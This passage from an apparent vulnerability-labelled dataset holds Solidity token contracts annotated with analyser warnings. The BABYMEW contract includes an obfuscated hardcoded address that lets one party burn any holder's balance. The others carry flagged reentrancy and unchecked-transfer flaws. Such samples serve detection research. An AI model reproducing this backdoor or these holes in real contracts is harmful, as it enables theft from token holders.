_approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ebfd77): BABYBITCOIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ebfd77: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d93cc0c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d93cc0c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 83bfa0e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 83bfa0e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d93cc0c\n\t\t// reentrancy-benign | ID: 83bfa0e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d93cc0c\n\t\t// reentrancy-benign | ID: 83bfa0e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bbc117f): BABYBITCOIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bbc117f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 83bfa0e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d93cc0c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fab76d1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fab76d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: b02aab9): BABYBITCOIN._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for b02aab9: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7b7c00d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7b7c00d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dfbdef9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dfbdef9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: b02aab9\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: fab76d1\n\t\t\t\t// reentrancy-eth | ID: 7b7c00d\n\t\t\t\t// reentrancy-eth | ID: dfbdef9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fab76d1\n\t\t\t\t\t// reentrancy-eth | ID: 7b7c00d\n\t\t\t\t\t// reentrancy-eth | ID: dfbdef9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: dfbdef9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: dfbdef9\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: fab76d1\n\t\t\t\t// reentrancy-eth | ID: 7b7c00d\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fab76d1\n\t\t\t\t\t// reentrancy-eth | ID: 7b7c00d\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7b7c00d\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: fab76d1\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7b7c00d\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7b7c00d\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: fab76d1\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d93cc0c\n\t\t// reentrancy-events | ID: fab76d1\n\t\t// reentrancy-benign | ID: 83bfa0e\n\t\t// reentrancy-eth | ID: 7b7c00d\n\t\t// reentrancy-eth | ID: dfbdef9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d93cc0c\n\t\t// reentrancy-events | ID: fab76d1\n\t\t// reentrancy-eth | ID: 7b7c00d\n\t\t// reentrancy-eth | ID: dfbdef9\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3f48f86): BABYBITCOIN.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 3f48f86: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external onlyOwner {\n\t\t// unchecked-transfer | ID: 3f48f86\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1cae755): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1cae755: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 95cc398): BABYBITCOIN.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 95cc398: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 56d6fe6): BABYBITCOIN.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 56d6fe6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1bb6a7f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1bb6a7f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 1cae755\n\t\t// unused-return | ID: 95cc398\n\t\t// reentrancy-eth | ID: 1bb6a7f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1cae755\n\t\t// unused-return | ID: 56d6fe6\n\t\t// reentrancy-eth | ID: 1bb6a7f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 1cae755\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1bb6a7f\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 1cae755\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10569.sol",
"size_bytes": 22832,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 97409717902926075812796781700465201095167245 *\n 10 ** 4 +\n 281474976712680;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BABYMEW\", unicode\"BABYMEW\", 9, 100000000) {}\n}\n",
"file_name": "solidity_code_1057.sol",
"size_bytes": 7153,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 290cd27): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 290cd27: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 290cd27\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Pair {\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function sync() external;\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Test is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 420b66e): Test._taxWallet should be immutable \n\t// Recommendation for 420b66e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4c8345): Test._initialBuyTax should be constant \n\t// Recommendation for b4c8345: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a6144f): Test._initialSellTax should be constant \n\t// Recommendation for 7a6144f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 40ba90c): Test._reduceBuyTaxAt should be constant \n\t// Recommendation for 40ba90c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ee9ae0): Test._reduceSellTaxAt should be constant \n\t// Recommendation for 0ee9ae0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b2ac0f): Test._preventSwapBefore should be constant \n\t// Recommendation for 3b2ac0f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Test\";\n\n string private constant _symbol = unicode\"TST\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b8edbf0): Test._taxSwapThreshold should be constant \n\t// Recommendation for b8edbf0: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d50c494): Test._maxTaxSwap should be constant \n\t// Recommendation for d50c494: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0de4080): Test.uniswapV2Router should be immutable \n\t// Recommendation for 0de4080: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 938dd58): Test.uniswapV2Pair should be immutable \n\t// Recommendation for 938dd58: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 35f9a87): Test.constructor(address).wallet lacks a zerocheck on \t _taxWallet = address(wallet)\n\t// Recommendation for 35f9a87: Check that the address is not zero.\n constructor(address wallet) payable {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// missing-zero-check | ID: 35f9a87\n _taxWallet = payable(wallet);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 87a8c60): Test.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 87a8c60: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 95a626e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 95a626e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bf6da51): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bf6da51: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 95a626e\n\t\t// reentrancy-benign | ID: bf6da51\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 95a626e\n\t\t// reentrancy-benign | ID: bf6da51\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c42534): Test._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c42534: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c17c021\n\t\t// reentrancy-benign | ID: bf6da51\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b2aab8e\n\t\t// reentrancy-events | ID: 95a626e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: be09b68): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for be09b68: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e052b5f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e052b5f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: be09b68\n\t\t\t\t// reentrancy-eth | ID: e052b5f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: be09b68\n\t\t\t\t\t// reentrancy-eth | ID: e052b5f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e052b5f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e052b5f\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e052b5f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 